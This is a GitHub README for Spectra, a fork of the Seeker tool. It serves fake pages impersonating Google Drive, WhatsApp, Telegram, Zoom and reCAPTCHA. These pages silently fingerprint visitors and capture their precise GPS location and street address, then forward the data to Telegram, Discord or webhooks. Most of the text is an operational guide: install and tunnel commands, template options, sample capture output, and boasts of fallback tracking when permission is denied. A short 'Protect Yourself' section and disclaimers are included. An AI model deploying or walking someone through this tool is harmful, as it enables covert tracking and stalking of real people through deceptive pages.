_________ __
/ _____/_____ ____ _____/ |_____________
\_____ \\____ \_/ __ \_/ ___\ __\_ __ \__ \
/ \ |_> > ___/\ \___| | | | \// __ \_
/_______ / __/ \___ >\___ >__| |__| (____ /
\/|__| \/ \/ \/
"They asked for your location. You clicked Allow. That was the last thing they needed from you."
Spectra is an educational, rebuilt fork of Seeker by thewhiteh4t. It hosts a realistic fake website that asks a visitor for location permission — then shows you exactly how much of a person's world can be reconstructed from one careless click.
Python 3 · PHP · Vanilla JavaScript · Linux / Termux
Educational purposes only. Run it only against devices you own or have written permission to test.
- Quick Start (TL;DR)
- The Story
- How It Works
- What Data Can Leak
- Live Output Preview
- GPS vs IP Geolocation
- Spectra vs Seeker
- What's New in 2.0.3
- Feature Highlights
- Templates
- Repository Layout
- Installation
- Usage
- Tunnels
- Notifications
- FAQ
- Protect Yourself
- Disclaimer
- Credits
git clone https://github.com/wanzxploit/spectra.git
cd spectra/
chmod +x install.sh && ./install.sh
python3 spectra.py -t 0 # terminal 1: pick NearYou template
./ngrok http 8080 # terminal 2: expose to the internetSend the ngrok URL to the target device. When they tap Continue → Allow, the harvest begins.
A friend sends you a link: "Hey, this site shows people nearby."
The page looks clean and modern — a soft glass card, a pulsing map pin, a big Continue button. The browser asks a reasonable-sounding question: "Allow this site to use your location?" So you click Allow.
The page cheerfully says the feature is "coming soon". You shrug and close the tab.
But while you were looking at that pretty button, a dossier was silently assembled in seconds:
- Your device fingerprint — OS, browser, GPU, screen, CPU, RAM, language, timezone.
- Your public IP and the ISP behind it.
- Your precise GPS coordinates — accurate to roughly 30 meters.
- Your street address — country, region, city, district, even postal code — reconstructed from those coordinates.
None of it required a password, a download, or malware. Just one tap on Allow.
That is the entire point of Spectra. It lets you experience this attack from the operator's side — in a lab, on your own devices — so you recognize it in the real world and never fall for it.
flowchart LR
A["Operator runs spectra.py"] --> B["PHP server starts on port 8080"]
B --> C["Tunnel exposes URL (ngrok / localhost.run / cloudflared)"]
C --> D["Target opens link"]
D --> E["Page loads - fingerprint fires instantly"]
E --> F{"Browser asks for Location?"}
F -->|"Allow"| G["GPS coordinates sent"]
F -->|"Deny"| H["Automatic IP-based fallback"]
G --> I["Reverse geocoding to street address"]
H --> I
I --> J["Output: terminal / CSV / KML / Telegram / webhook"]
Spectra is a Python orchestrator that drives a PHP built-in web server (php -S 0.0.0.0:PORT) serving one of the phishing templates. A vanilla JS payload in the page does the dirty work.
| Phase | Trigger | What is captured | Written to |
|---|---|---|---|
| 1 — Fingerprint | Page onload |
Device info + client-side IP recon (ipwho.is → ipapi.co fallback) |
logs/info.txt |
| 2 — Location | Geolocation callback | Lat/lon, accuracy, altitude, heading, speed — or the deny event | logs/result.txt |
The Python loop (wait()) polls these JSON files every second, then renders the result and forwards it to whatever output channels you configured. After each capture the files are wiped, ready for the next client.
Coordinates become a human-readable address through two parallel lookups (a ThreadPoolExecutor):
- BigDataCloud — locality-aware administrative hierarchy
- OpenStreetMap Nominatim — road, house-level detail, postal code
Combined they reconstruct: country → province → regency → district → village → postal code → street.
Gathered via the HTML5 Geolocation API once permission is granted:
| Data | Notes |
|---|---|
| Longitude & Latitude | Read from the device's GPS hardware |
| Accuracy | Radius of the fix — often ~30 m on phones |
| Altitude | Not always available |
| Direction (heading) | Only while the user is moving |
| Speed | Only while the user is moving |
| Street address | Reconstructed by reverse geocoding |
The moment the page loads, before anything is clicked:
| Data | Notes |
|---|---|
| Operating System | Android, iOS, Windows, macOS, Linux, ChromeOS, Unix, Fuchsia |
| Device type | Mobile / Touchscreen / Desktop |
| Browser + version | Edge, Opera, Firefox, Chrome, Safari |
| GPU vendor & model | Read through the WebGL debug extension |
| Screen resolution, color depth, PPI | — |
| CPU cores & RAM | Approximate (navigator.hardwareConcurrency / deviceMemory) |
| Touch points | navigator.maxTouchPoints |
| Language & timezone | Locale + Intl timezone |
Enriched client-side (ipwho.is, ipapi.co fallback), so it works even when traffic flows through a tunnel:
- IP address, continent, country, region, city
- ISP and organization
- Approximate IP geolocation
If the user denies location, the show isn't over — Spectra automatically switches to IP-based tracking and keeps reporting. There is no graceful "no" button on the operator's side.
Full column order of db/results.csv
One row per target, appended after every capture:
OS, Platform, Cores, RAM, GPU Vendor, GPU Renderer, Resolution, Browser, IP,
Continent, Country, Region, City, Org, ISP, IP Lat, IP Lon, ← phase 1
Lat, Lon, Accuracy, Altitude, Direction, Speed ← phase 2 (granted)
# or, on denial:
Country, Region, City, ISP, IP Lat, IP Lon ← phase 2 (fallback)
Note: no header row is written — the sequence above is the schema.
What the operator sees in the terminal after a capture:
[>] Modified by : wanzxploit
|---> GitHub : https://github.com/wanzxploit
|---> Created by : thewhiteh4t
[>] Version : 2.0.3
┌──────────────────────────────────────────────────────┐
│ ** NEW TARGET DETECTED ** │
├──────────────────────────────────────────────────────┤
│ User with IP 203.0.113.42 -> clicked the link │
└──────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────┐
│ DEVICE INFORMATION │
├──────────────────────────────────────────────────────┤
│ OS : Android 14 │
│ Device Type : Mobile │
│ Platform : Linux armv8l │
│ CPU Cores : 8 │
│ RAM (GB) : 8 │
│ GPU Vendor : Qualcomm │
│ GPU : Adreno (TM) 740 │
│ Resolution : 1080x2400 │
│ Color Depth : 24 bit │
│ PPI : 440 │
│ Touchpoints : 10 │
│ Browser : Chrome/126.0.0.0 │
│ Language : id-ID │
│ Timezone : Asia/Jakarta │
└──────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────┐
│ IP INFORMATION [client-side, bypass tunnel] │
├──────────────────────────────────────────────────────┤
│ IP : 203.0.113.42 │
│ Continent : Asia │
│ Country : Indonesia │
│ Region : Jakarta │
│ City : Jakarta │
│ ISP : PT Telkom Indonesia │
│ Org : PT Telkom Indonesia │
│ Timezone : Asia/Jakarta │
│ Approx : -6.1751, 106.8275 │
└──────────────────────────────────────────────────────┘
[...] Waiting for the user to respond to the location permission prompt...
┌──────────────────────────────────────────────────────┐
│ [+] USER GRANTED LOCATION ACCESS │
├──────────────────────────────────────────────────────┤
│ Latitude : -6.2087634 deg │
│ Longitude : 106.8455990 deg │
│ Accuracy : 19.8 m │
│ Altitude : 11.2 m │
│ Direction : 120.5 deg │
│ Speed : 1.2 m/s │
└──────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────┐
│ FULL ADDRESS [reverse geocode] │
├──────────────────────────────────────────────────────┤
│ Country : Indonesia │
│ Province : DKI Jakarta │
│ Regency : Jakarta Pusat │
│ District : Gambir │
│ Village : Kebon Kelapa │
│ Postal Code : 10110 │
└──────────────────────────────────────────────────────┘
┌───────────────────────────────────────────────────────────────────────────────┐
│ GOOGLE MAPS │
├───────────────────────────────────────────────────────────────────────────────┤
│ Link : https://www.google.com/maps?q=-6.2087634,106.8455990 │
└───────────────────────────────────────────────────────────────────────────────┘
[+] Waiting for next client...[ctrl+c to exit]
Most "IP tracker" tools online do IP geolocation — they locate the ISP's server, which can be tens of kilometers from the target and sometimes in a different city entirely.
Spectra instead uses the Geolocation API, which talks to the device's GPS hardware:
| IP geolocation | Spectra (GPS) | |
|---|---|---|
| What it finds | Approximate location of the ISP | Location of the device |
| Typical accuracy | Kilometers | ~30 meters |
| Works best on | Anything | Smartphones with GPS |
| Requires permission? | No | Yes |
| Street-level address? | No | Yes (reverse geocoded) |
Why the API is so effective: the browser already has the answer, users are trained to trust these prompts by thousands of legitimate sites, and the harvest takes under a second. That trust + speed combo is exactly what phishing exploits.
| Feature | Seeker (original) | Spectra (this fork) |
|---|---|---|
| Main script | seeker.py |
spectra.py |
| Version | 1.3.x | 2.0.3 |
| Theme | Cyan / blue | Red, uniform |
| Output language | Mixed | Full English |
| Terminal on start | — | Cleared automatically |
PORT env var |
Buggy (string crash) | Fixed (int cast) |
| NearYou template | CDN + jQuery + external assets | Self-contained, offline, CSS radar |
| Geolocation logic | Single basic call | High-accuracy first → low-accuracy fallback → retry |
| IP recon | Server-side only | Client-side, tunnel-proof |
| Street address | Partial / inaccurate | Full reverse geocode, locality-aware |
| Device fingerprint | Basic | Extended (device, language, timezone, PPI…) |
| Data exfiltration | jQuery AJAX | sendBeacon → fetch(keepalive) → XHR |
| Notification embeds | Mixed accents | Red everywhere |
| Generated files in git | Mixed | Fully gitignored |
- Full rebrand —
seeker.py→spectra.py, new metadata, red theme across banner, menus, Telegram messages and Discord embeds. - Clean English output — hardcoded / leftover strings removed.
- Fresh start — terminal is cleared before the banner.
PORTenv var fix — environment port is cast toint(previously crashed the socket check).- Modernized NearYou — glass-card UI, animated CSS radar, no CDN, no jQuery, works fully offline.
- Rewritten geolocation — high-accuracy first (12 s timeout, 10 s
maximumAgefor cached fixes), low-accuracy fallback (10 s), retry logic. - Client-side IP recon — IP intel gathered in the browser and POSTed with the fingerprint, so it survives tunneling.
- Full reverse geocoding — two parallel providers rebuild country → province → regency → district → village → postal code.
- Richer fingerprint — device type, language, timezone, touch points, color depth, PPI.
- Resilient exfiltration —
sendBeacon, thenfetchwithkeepalive, then XHR. - Cleaner repo —
index.html, PHP handlers,location.js, logs, db and__pycache__are all gitignored.
| GPS-grade tracking HTML5 Geolocation API reads the device's own GPS — not ISP geolocation. |
Zero-permission fingerprint OS, browser, GPU, screen, CPU, RAM, language, timezone — instantly on page load. |
Street-level address Two reverse-geocoders rebuild province → district → postal code. |
| Tunnel-proof IP intel IP recon happens client-side, so it works behind ngrok / cloudflared. |
Smart fallback Denied location? Auto-switch to IP-based tracking. No "no" button. |
Beacon-grade exfil sendBeacon → fetch(keepalive) → XHR. Data survives page close. |
| Multi-channel alerts Telegram bot, Discord webhook, or any generic POST webhook. |
Export everything CSV database + KML file ready for Google Earth. |
Fully scriptable Every prompt has an env-var twin — run it headless or in Docker. |
| # | Template | Customizable at launch |
|---|---|---|
| 0 | NearYou — modern glass-card UI, offline-ready | — |
| 1 | Google Drive — fake file-sharing page | REDIRECT (file URL) |
| 2 | WhatsApp — fake chat page | TITLE, IMAGE |
| 3 | WhatsApp Redirect — fake chat, redirects after harvest | TITLE, IMAGE, REDIRECT |
| 4 | Telegram — fake group with member counters | TITLE, DESC, IMAGE, MEM_NUM, ONLINE_NUM |
| 5 | Zoom — fake meeting room | — |
| 6 | Google reCAPTCHA — "verify you're human" bait | REDIRECT (real), DISPLAY_URL (fake) |
| 7 | Custom Link Preview — Open-Graph card disguise | REDIRECT, SITENAME, TITLE, IMAGE, DESC |
The NearYou template (index 0) was fully modernized in this fork: a clean glass-card UI with an animated CSS radar, no external CDN dependencies, no jQuery — it runs entirely offline.
Want to contribute your own page? See createTemplate.md and open a PR.
spectra/
├── spectra.py # main orchestrator (Python 3)
├── install.sh # dependency installer (Debian/Fedora/Arch/Termux)
├── utils.py # ANSI-safe printing + image download helper
├── telegram_api.py # Telegram bot formatter
├── discord_webhook.py # Discord embed formatter
├── js/
│ └── location.js # the payload: fingerprint + geolocation + IP recon
├── php/
│ ├── info.php # writes device/IP JSON -> logs/info.txt
│ ├── result.php # writes location JSON -> logs/result.txt
│ └── error.php # writes error JSON -> logs/result.txt
├── template/
│ ├── templates.json # template registry
│ ├── mod_*.py # per-template configurators (env-var aware)
│ ├── sample.kml # KML template for Google Earth
│ └── <name>/ # one folder per template
├── logs/ # runtime logs (gitignored)
├── db/results.csv # capture database (gitignored)
└── Dockerfile # containerized deployment
git clone https://github.com/wanzxploit/spectra.git
cd spectra/
chmod +x install.sh
./install.shinstall.sh auto-detects the distro (/etc/arch-release, /etc/fedora-release, or TERMUX_VERSION) and installs python3, pip, requests, packaging, psutil, and php. A log is saved to logs/install.log.
# Debian / Ubuntu / Kali
sudo apt install -y python3 python3-pip python3-requests python3-packaging python3-psutil php
# Fedora
sudo dnf install -y python3 python3-pip python3-requests python3-packaging python3-psutil php
# Arch
sudo pacman -S python python-pip python-requests python-packaging python-psutil php
# Termux
apt install -y python php
pip install -U requests packaging psutildocker build -t spectra .
docker run --rm -it -p 8080:8080 --name spectra spectrapython3 spectra.py -h
usage: spectra.py [-h] [-k KML] [-p PORT] [-u] [-v] [-t TEMPLATE]
[-d DEBUGHTTP] [-tg TELEGRAM] [-wh WEBHOOK]
options:
-h, --help show this help message and exit
-k, --kml KML KML filename
-p, --port PORT Web server port [ Default : 8080 ]
-u, --update Check for updates
-v, --version Prints version
-t, --template TEMPLATE
Load template and loads parameters from env variables
-d, --debugHTTP DEBUGHTTP
Disable HTTPS redirection for testing only
-tg, --telegram TELEGRAM
Telegram bot API token [ Format -> token:chatId ]
-wh, --webhook WEBHOOK
Webhook URL [ POST method & unauthenticated ]Every interactive prompt can be skipped — ideal for headless or containerized runs:
| Variable | Same as | Description |
|---|---|---|
PORT |
-p |
Web server port |
TEMPLATE |
-t |
Template index (0–7) |
DEBUG_HTTP |
-d |
Disable HTTPS redirection |
TITLE |
— | Page / group title |
REDIRECT |
— | URL to redirect to after the job is done |
IMAGE |
— | Image, remote or local |
DESC |
— | Description shown on the page |
SITENAME |
— | Website name |
DISPLAY_URL |
— | URL displayed on the page |
MEM_NUM |
— | Fake member count (Telegram) |
ONLINE_NUM |
— | Fake online count (Telegram) |
TELEGRAM |
-tg |
token:chatId |
WEBHOOK |
-wh |
POST endpoint for events |
# Terminal 1 — start the server
$ python3 spectra.py -t 0
# Terminal 2 — expose it to the internet
$ ./ngrok http 8080
# or
$ ssh -R 80:localhost:8080 nokey@localhost.run
# Pre-select a template (0 = NearYou, 1 = Google Drive, ...)
$ python3 spectra.py -t 1
# Custom port
$ python3 spectra.py -p 1337
# Generate a KML file for Google Earth
$ python3 spectra.py -k <filename>
# Fully non-interactive
$ TEMPLATE=4 TELEGRAM=123456:ABC123 python3 spectra.py
# Local testing only (skip HTTPS redirect, serve over http://)
$ DEBUG_HTTP=1 python3 spectra.py -t 0Spectra serves a local HTTP server. Expose it with any tunnel:
# ngrok
./ngrok http 8080
# localhost.run (no account needed)
ssh -R 80:localhost:8080 nokey@localhost.run
# cloudflared
cloudflared tunnel --url http://localhost:8080Because IP recon runs client-side, the capture keeps working even when the traffic is tunneled or the operator's own IP is hidden.
| Channel | Flag / Env | Format | Coverage |
|---|---|---|---|
| Telegram bot | -tg / TELEGRAM |
token:chatId |
Device fingerprint, location, errors |
| Discord webhook | -wh / WEBHOOK |
https://discord.com/api/webhooks/... |
Structured red embeds |
| Generic webhook | -wh / WEBHOOK |
any unauthenticated POST endpoint | Every event, raw JSON |
- Generic webhooks receive the full event JSON for all event types — including reverse-geocoded addresses and IP-fallback events.
- Discord and Telegram receive curated messages for
device_info(which includes the public IP),location, anderror. Note: raw IP-intel, reverse-geocoded addresses, and IP-fallback events currently reach generic webhooks only — the Telegram/Discord formatters don't render those message types yet. - A valid Telegram token needs the three-part form
bot_token:chatId(the bot token itself contains a colon).
Is this malware?
No. It is a client-side social-engineering demonstration written in plain JavaScript, PHP and Python. It installs nothing, exploits no vulnerability, and only receives data the user actively permits. It is meant to educate — not to compromise.Why does it work best on phones?
Phones carry GPS hardware. Laptops usually don't, so on a desktop Spectra falls back to cached coordinates or IP geolocation — which is far less impressive.What happens if the user denies location?
Spectra automatically switches to IP-based tracking and keeps reporting country / region / city derived from the public IP.Why is the accuracy ~30 m and not perfect?
GPS accuracy depends on the device, browser JavaScript support, satellite conditions and calibration. 30 m is typical for a healthy phone fix.Can it be used against anyone?
Technically the page works against anyone, but this tool is licensed and intended for **education only**. Only test devices you own or have written permission to test.Now that you've seen how it works, here's the part that matters:
- A location prompt is a permission, not a promise. Any site can show one. Ask yourself why before tapping Allow.
- "Coming soon" pages are a classic shell — the feature is fake, the harvest is real.
- A basic website never needs your precise GPS. Weather, maps and ads work fine with city-level data.
- Your IP alone already leaks a country, region and city. Combined with other leaks, "anonymous" browsing isn't.
- The same trick pairs with other phishing — login pages, OTP requests, payment forms. If a site asks for anything sensitive, close the tab.
When you understand the attack, you stop being the target.
This tool is a Proof of Concept and is for Educational Purposes Only. Spectra demonstrates what data a malicious website can gather about you and your devices — and why you should not click on random links or grant critical permissions such as Location without thinking. The author is not responsible for any misuse. Use it only against devices you own or have explicit written permission to test.